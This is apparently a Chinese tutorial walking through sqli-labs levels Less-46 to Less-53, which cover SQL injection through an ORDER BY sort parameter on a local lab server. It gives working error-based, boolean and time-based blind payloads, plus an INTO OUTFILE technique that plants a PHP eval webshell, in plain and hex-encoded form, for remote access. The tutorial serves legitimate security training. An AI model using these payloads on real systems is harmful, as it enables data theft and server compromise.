Less-46
在开始这一关内容之前,我们先来了解一下数据库中使数据进行排列的语句:
select * from users order by 1 desc ;使用降序(倒序)排列
select * from users order by 1 asc ;使用升序(正序)排列
lines terminated by *** 每行输出以***结尾
然后我们就可以了解这一关了。
打开Less-46,发现在Welcome下面醒目的一句话:
Please input parameter as SORT with numeric value
再打开index,发现输出查询的事实上还是id,所以我们推测,这里事实上是输入sort来代替id:
我们输入?sort=1以后,回显改变了:
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1
改变sort后面的数值,1代表把第一列按从小到大进行排列,3 就代表把第3列按从小到大进行排列:
http://192.168.1.1/sqli-labs-master/Less-46/?sort=3
我们在开头已经说明了两条语句,它们后面都有升序降序的后缀,我们在这里尝试,发现可以起作用:
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 desc 第一列降序排列
http://192.168.1.1/sqli-labs-master/Less-46/?sort=2 asc 第二列升序排列
接下来我们可以进行注入拿取数据了:
法一:报错注入
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and updatexml( 1, concat( 0x7e,(select schema_name from information_schema.schemata limit 0,1),1),1)--+
省略剩下的过程,具体语句参考Less-17。
法二:布尔(时间)盲注
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(length(database())=8 ,1,sleep(5))
http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(left((select schema_name from information_schema.schemata limit 0,1),1)>'a',1,sleep(5))--+
具体步骤与语句参考Less-5。
Less-47:用?sort=1'包裹
除了包裹方式的不同,其他与Less-46相同,不再赘述。
Less-48:无包裹,无错误回显
这一关与Less-46几乎相同,都没有包裹,但是这一关没有错误回显信息,所以不能使用报错注入,只能使用布尔盲注。语句与Less-46相同,不再赘述。
Less-49:用?sort=1'包裹,无错误回显
几乎与Less-46相同,除了此关卡用单引号包裹,无错误回显信息,使用Less-46中布尔盲注即可解决,不再赘述。这里我们以这一关为例,使用新的方法来注入:一句话木马。
我们使用outline的方式在对应的文件夹中创建php文件,具体的注意事项请参考Less-5-10,这里我创建LESS49.php:
http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\\PhpStudy\\WWW\\LESS49.php' --+
创建成功:
打开后我们发现,数据库的信息已经存在于其中了,可是却没有一句话木马,这样我们就不能使用菜刀访问了,所以我们这里要修改一下语句,我们使用line terminal by语句,使得一句话木马在结尾部分输出,这里要注意,后面跟的是一句话木马十六进制:
http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'into outfile 'C:\\PhpStudy\\WWW\\LESS49.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+
打开发现,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接:
Less-50
我们照旧进行尝试,看看有没有进行包裹,发现这一关与Less-46一样没有包裹:
查看index源码,发现这一节使用了mysqli_multi_query函数,其他与Less-46并无二致,mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔所以事实上我们无法使用联合查询,因为会被疯狂转义,所以我们选择报错注入,布尔注入都是没有问题的。
也可以使用我们新学习的方法,使用堆叠注入插入新的表,也可以使用堆叠注入创建含有一句话木马的表,再用菜刀访问。这四种方法均可,我们还可以使用第五种方法,就是Less-49中的方法,直接创建表然后用一句话木马访问。
上述提到的方法请参考历史内容,不再赘述。
Less-51:用?sort=1'包裹
除了包裹方式不同,其余和50关相同。所以还是使用那五种方法进行注入:
法一:延时注入
法二:报错注入
法三:写入一句话木马 以上三种方法参考上面。
法四:使用堆叠注入创建新的users表。
法五:使用堆叠注入写入一句话木马。
Less-52:无包裹,无报错回显
这一关没有包裹,除了没有报错回显,其余与50关相同,因为没有报错回显,所以不能用报错注入,这一节能够使用的方法减少一种:
法一:延时注入
法二:写入一句话木马 以上三种方法参考上面。
法三:使用堆叠注入创建新的users表。
法四:使用堆叠注入写入一句话木马。
Less-53:用?sort=1'包裹
除了包裹方式与没有回显信息这两点与Less-50不同,其余与Less-50相同,显而易见,我们无法使用报错注入,所以还是使用以下四种方法:
法一:延时注入
法二:写入一句话木马 以上三种方法参考上面。
法三:使用堆叠注入创建新的users表。
法四:使用堆叠注入写入一句话木马。